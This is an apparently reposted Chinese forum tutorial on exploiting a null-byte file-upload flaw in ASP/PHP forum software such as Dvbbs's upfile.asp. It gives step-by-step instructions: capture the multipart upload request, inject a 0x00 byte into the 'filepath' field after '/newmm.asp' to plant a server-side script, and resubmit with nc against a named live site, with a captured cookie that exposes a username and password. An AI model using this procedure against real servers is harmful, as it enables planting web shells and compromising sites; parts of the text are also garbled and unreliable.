网络安全 频道

PHP和ASP上传漏洞探究

PHP和ASP上传漏洞探究

1 传漏洞利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)

用于提交数据包

dos界面下运行:

nc -vv www.***.com 80<1.txt

-vv: 回显

80: www端口

1.txt: 就是你要发送的数据包 (更多使用方法请查看本区的帖子)

wse(wsockexpert) 对本机端口的监视,抓取ie提交的数据包

2 漏洞原理

下面例子假设的前提

www主机: www.***.com;

bbs路径 : /bbs/

漏洞源于对动网上传文件的研究,建议有一定编程经验的看看dvbbs的upfile.asp文件,没有必要全部看懂。upfile是通过生成一个form表上传,如下

<form name="form" method="post" action="upfile.asp" ...>

<input type="hidden" name="filepath" value="uploadface">

<input type="hidden" name="act" value="upload">

<input type="file" name="file1">

<input type="hidden" name="fname">

<input type="submit" name="submit" value="上传" ...></form>
用到的变量::

filepath 默认值uploadface 属性hiden

act 默认值upload 属性hiden

file1 就是你要传的那个文件

关键是 filepath 这个变量!

默认情况下我们的文件上传到www.***.com/bbs/uploadface/

文件是用你的上传时间命名的,就是upfile里的这一句

filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext

--------------------------------------

我们知道计算机里面的数据是一""为标致的用过c语言的都知道:char data[]="bbs" 这个data数组长度是4: b b s

如果我们构造filepath如下,会怎么样呢?

filepath="/newmm.asp"

我们在2004.09.24.08.24传的文件就会发生变化没有改时:: _blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时:_blank>http://www.***.com/newmm.asp/200409240824.jpg

这样当服务器接收filepath数据时,检测到newmm.asp后面的就理解为filepath的数据就结束了。这样我们上传的文件,比如c:.asp 就保存成: _blank>http://www.***.com/newmm.asp

3 后期补充

漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行。有很多网站只是加了n个hiden属性的变量对付网上公布的 upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具。自己改wse抓到的包里的filepath变量,然后在用nc提交。就算他加n个hiden变量也于事无补。当然, 如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结就是我们的新理论诞生的时候!

4 详细实例

一、wse抓包结果(存到1.txt里):
 

post /bbs/upphoto/upfile.asp http/1.1

accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, application/vnd.ms-excel,

application/vnd.ms-powerpoint, application/msword, */*

referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp

accept-language: zh-cn

content-type: multipart/form-data;

boundary=-----------7d423a138d0278

accept-encoding: gzip, deflate

user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)

host: _blank>www.xin126.com

content-length: 1969

connection: keep-alive

cache-control: no-cache

cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf;

iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37;

username=szjwwwww; pass=5211314; dl=0; userid=62;

ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

../medias/myphoto/

-----------------------------7d423a138d0278

... ...


上传

---------------7d423a138d0278-----------------

二、ultraedit打开1.txt改数据:
 
......

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

/newmm.asp <===这个黑色代表一个空格是 0x20,改成0x00就可以了

......
三、重新计算cookies长度,然后nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是一个16位编辑器网上可以下载得到

我们主要用来写那个结束标致: ====>16位表示:0x00或者00h

其实你改的时候就直接再filepath的结尾处加个00就ok了

0
相关文章